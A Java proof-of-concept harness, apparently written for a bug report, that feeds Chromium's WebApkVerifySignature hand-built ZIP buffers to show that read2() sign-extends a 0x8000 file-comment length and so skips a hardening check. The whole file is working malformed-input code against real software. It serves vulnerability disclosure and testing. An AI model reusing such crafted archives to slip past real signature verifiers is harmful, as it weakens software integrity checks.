// POC: WebApkVerifySignature.read2() sign-extends ZIP uint16 fields,
// bypassing the MAX_FILE_COMMENT_LENGTH (=0) hardening check.
//
// This harness compiles the *unmodified* Chromium source file
//   components/webapk/android/libs/client/src/org/chromium/components/
//   webapk/lib/client/WebApkVerifySignature.java
// against tiny stubs (in ./stubs) and feeds it a hand-crafted ZIP whose
// central-directory entry has file-comment-length = 0x8000.

import org.chromium.components.webapk.lib.client.WebApkVerifySignature;

import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public class Poc {

    static final String[] ERR = {
        "OK", "BAD_APK", "EXTRA_FIELD_TOO_LARGE", "FILE_COMMENT_TOO_LARGE",
        "INCORRECT_SIGNATURE", "SIGNATURE_NOT_FOUND", "TOO_MANY_META_INF_FILES",
        "BAD_BLANK_SPACE", "BAD_V2_SIGNING_BLOCK"
    };

    // Build a minimal ZIP/APK:
    //   [LFH "a"][<dataLen> bytes data][CD "a" w/ file-comment-len=rawCommentLen]
    //   [<commentBytes> of CD file comment][EOCD comment="webapk:0000:dead"]
    static ByteBuffer craftZip(int rawCommentLen, int commentBytes, int dataLen) {
        final String name = "a";
        final byte[] eocdComment = "webapk:0000:dead".getBytes();

        int lfhOff = 0;
        int lfhLen = 30 + name.length();
        int cdOff  = lfhOff + lfhLen + dataLen;
        int cdLen  = 46 + name.length() + commentBytes;
        int eocdOff = cdOff + cdLen;
        int total   = eocdOff + 22 + eocdComment.length;

        ByteBuffer b = ByteBuffer.allocate(total);
        b.order(ByteOrder.LITTLE_ENDIAN);

        // ---- Local File Header ----
        b.putInt(0x04034b50);          // LFH sig
        b.putShort((short) 20);        // reader version
        b.putShort((short) 0);         // flags
        b.putShort((short) 0);         // method (stored)
        b.putShort((short) 0);         // mtime
        b.putShort((short) 0);         // mdate
        b.putInt(0);                   // crc32
        b.putInt(dataLen);             // compressed size
        b.putInt(dataLen);             // uncompressed size
        b.putShort((short) name.length()); // filename len
        b.putShort((short) 0);         // extra len
        b.put(name.getBytes());
        b.put(new byte[dataLen]);      // file data

        // ---- Central Directory ----
        b.putInt(0x02014b50);          // CD sig
        b.putShort((short) 20);        // creator version
        b.putShort((short) 20);        // reader version
        b.putShort((short) 0);         // flags
        b.putShort((short) 0);         // method
        b.putShort((short) 0);         // mtime
        b.putShort((short) 0);         // mdate
        b.putInt(0);                   // crc32
        b.putInt(dataLen);             // compressed size
        b.putInt(dataLen);             // uncompressed size
        b.putShort((short) name.length()); // filename len
        b.putShort((short) 0);         // extra len
        b.putShort((short) rawCommentLen); // *** file comment len ***
        b.putShort((short) 0);         // disk number start
        b.putShort((short) 0);         // internal attrs
        b.putInt(0);                   // external attrs
        b.putInt(lfhOff);              // LFH offset
        b.put(name.getBytes());        // filename
        b.put(new byte[commentBytes]); // file comment data actually present

        // ---- EOCD ----
        b.putInt(0x06054b50);          // EOCD sig
        b.putShort((short) 0);         // disk number
        b.putShort((short) 0);         // start disk
        b.putShort((short) 1);         // records on this disk
        b.putShort((short) 1);         // total records
        b.putInt(cdLen);               // CD size
        b.putInt(cdOff);               // CD offset
        b.putShort((short) eocdComment.length);
        b.put(eocdComment);

        b.flip();
        return b;
    }

    static int run(ByteBuffer zip) {
        WebApkVerifySignature v = new WebApkVerifySignature(zip);
        return v.read();
    }

    public static void main(String[] args) throws Exception {
        System.out.println("=== WebApkVerifySignature.read2() sign-extension POC ===\n");

        // ---------------------------------------------------------------
        // Part 1: directly demonstrate the primitive via reflection.
        // ---------------------------------------------------------------
        ByteBuffer two = ByteBuffer.wrap(new byte[]{0x00, (byte) 0x80}); // LE 0x8000
        WebApkVerifySignature vv = new WebApkVerifySignature(two);
        Method read2 = WebApkVerifySignature.class.getDeclaredMethod("read2");
        read2.setAccessible(true);
        int got = (int) read2.invoke(vv);
        System.out.printf("[primitive] read2() on bytes 00 80 (uint16 0x8000) returned %d (0x%08x)%n",
                got, got);
        System.out.printf("[primitive] expected if correctly masked: 32768; actual: %d  =>  %s%n%n",
                got, got < 0 ? "SIGN-EXTENDED (BUG)" : "ok");

        // ---------------------------------------------------------------
        // Part 2: hardening-check behaviour.
        //
        // Control: file-comment-length = 1  -> must hit FILE_COMMENT_TOO_LARGE.
        // Bug:     file-comment-length = 0x8000 -> check at line 344 evaluates
        //          (-32768 > 0) == false, so FILE_COMMENT_TOO_LARGE does NOT fire.
        //          seekDelta(extraLen + fileCommentLength) moves the cursor
        //          BACKWARD by 32768 bytes; the loop completes and the parser
        //          fails the *later* contiguity check at line 350 instead.
        // ---------------------------------------------------------------
        // Use ~33 KB of file data so the backward seek lands inside the buffer
        // (otherwise ByteBuffer.position(neg) would throw and mask the bypass).
        int e1 = run(craftZip(/*rawCommentLen=*/1,      /*commentBytes=*/1, /*dataLen=*/33000));
        int e2 = run(craftZip(/*rawCommentLen=*/0x8000, /*commentBytes=*/0, /*dataLen=*/33000));

        System.out.printf("[control] CD file-comment-length = 0x0001  ->  read() = %d (%s)%n",
                e1, ERR[e1]);
        System.out.printf("[bug]     CD file-comment-length = 0x8000  ->  read() = %d (%s)%n%n",
                e2, ERR[e2]);

        boolean primitive = got == -32768;
        boolean bypass    = e1 == 3 /*FILE_COMMENT_TOO_LARGE*/ && e2 != 3;
        boolean backward  = e2 == 7 /*BAD_BLANK_SPACE*/; // proves line 344 was reached & skipped

        System.out.println("[result] read2() sign-extends uint16 ...................... "
                + (primitive ? "CONFIRMED" : "not reproduced"));
        System.out.println("[result] MAX_FILE_COMMENT_LENGTH check bypassed for 0x8000 . "
                + (bypass ? "CONFIRMED" : "not reproduced"));
        System.out.println("[result] seekDelta() moved backward past line 344 .......... "
                + (backward ? "CONFIRMED (got BAD_BLANK_SPACE from later check)"
                            : "n/a (" + ERR[e2] + ")"));

        if (!(primitive && bypass)) System.exit(1);
    }
}
